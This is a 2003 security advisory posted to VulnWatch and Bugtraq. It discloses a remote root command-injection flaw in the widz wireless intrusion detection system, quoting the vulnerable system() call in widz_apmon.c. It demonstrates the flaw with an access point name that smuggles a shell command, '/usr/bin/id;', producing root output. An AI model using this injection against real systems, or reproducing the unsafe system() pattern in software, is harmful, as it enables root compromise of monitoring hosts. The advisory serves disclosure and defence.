

[VulnWatch] SRT2003-08-22-104 - Wireless Intrusion dection remote root compromise

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-08/0018.html>

From: KF (dotslash_at_snosoft.com)

Date: 08/23/03

Date: Fri, 22 Aug 2003 20:31:24 -0500

To: bugtraq@securityfocus.com

<http://www.secnetops.biz/products/>

<http://www.secnetops.biz/research/>

Secure Network Operations, Inc. <http://www.secnetops.com>

Strategic Reconnaissance Team research@secnetops.com

Team Lead Contact kf@secnetops.com

Our Mission:

Secure Network Operations offers expertise in Networking, Intrusion Detection Systems (IDS), Software Security Validation, and Corporate/Private Network Security. Our mission is to facilitate a secure and reliable Internet and inter-enterprise communications infrastructure through the products and services we offer.

Quick Summary:

Advisory Number : SRT2003-08-22-104

Product : widz (802.11 wireless IDS)

Version : <= v1.5

Vendor : <http://www.loud-fat-bloke.co.uk/w80211.html>

Class : remote

Criticality : High

Operating System(s) : *nix

High Level Explanation

High Level Description : widz make use of untrusted input with system()

What to do : do not use widz in a production environment

Technical Details

Proof Of Concept Status : SNO has PoC code for this issue

Low Level Description :

WIDZ, "the first OpenSource wireless IDS" has the ability to Detects Rogue APs and Monkey-jacks. Null probes , floods, and it has a Mac Backlist and ESSID blacklist so you can catch the obvious badguys.

from the file READMEwidz.txt we learn the following about widz_apmon.c

This sad little program monitors an area for Access Points
If finds an ap it compares it to a list of Authorised APs in a config file
if the AP isnt in list it calls a program called Alert with an appropriate message.

If you give widz_apmon a little test drive you will get the following.

```
snifz0r widz # ./widz_apmon 1 eth1 monitor
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
unknown AP essid=cerebrum ap_mac=00:30:65:03:00:55
...
```

I wonder how that alert gets generated...

```
File: widz_apmon.c
do_alert(char *target)
{
    char mess[100];
    if ( DEBUG )
        printf("Alert unknown AP %s\n", target);
    sprintf(mess,"Alert 'unknown AP %s\n'", target);
    system(mess);
    // Should do a check to see if we've alerted already but !!!
}
```

Hrmm thats no good... but fun to play with non the less.

Go to apple airport and set network name to '/usr/bin/id;
(hint: use HostAP instead)

```
snifz0r widz # ./widz_apmon 1 eth1 monitor
unknown AP essid=
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh: -c: line 3: unexpected EOF while looking for matching `"'
sh: -c: line 4: syntax error: unexpected end of file
```

At this point the attacker can pretty much do what they wish. As a side note this is not the only WIDZ program to make use of system() in this manor.

VulnWatch: [VulnWatch] SRT2003-08-22-104 – Wireless Intrusion detection remote root compromise

Patch or Workaround : update will be in final version of widz

Vendor Status : fix available "in the next couple of weeks" as of 07/26/03

Bugtraq URL : to be assigned

This advisory was released by Secure Network Operations, Inc. as a matter of notification to help administrators protect their networks against the described vulnerability. Exploit source code is no longer released in our advisories. Contact research@secnetops.com for information on how to obtain exploit information.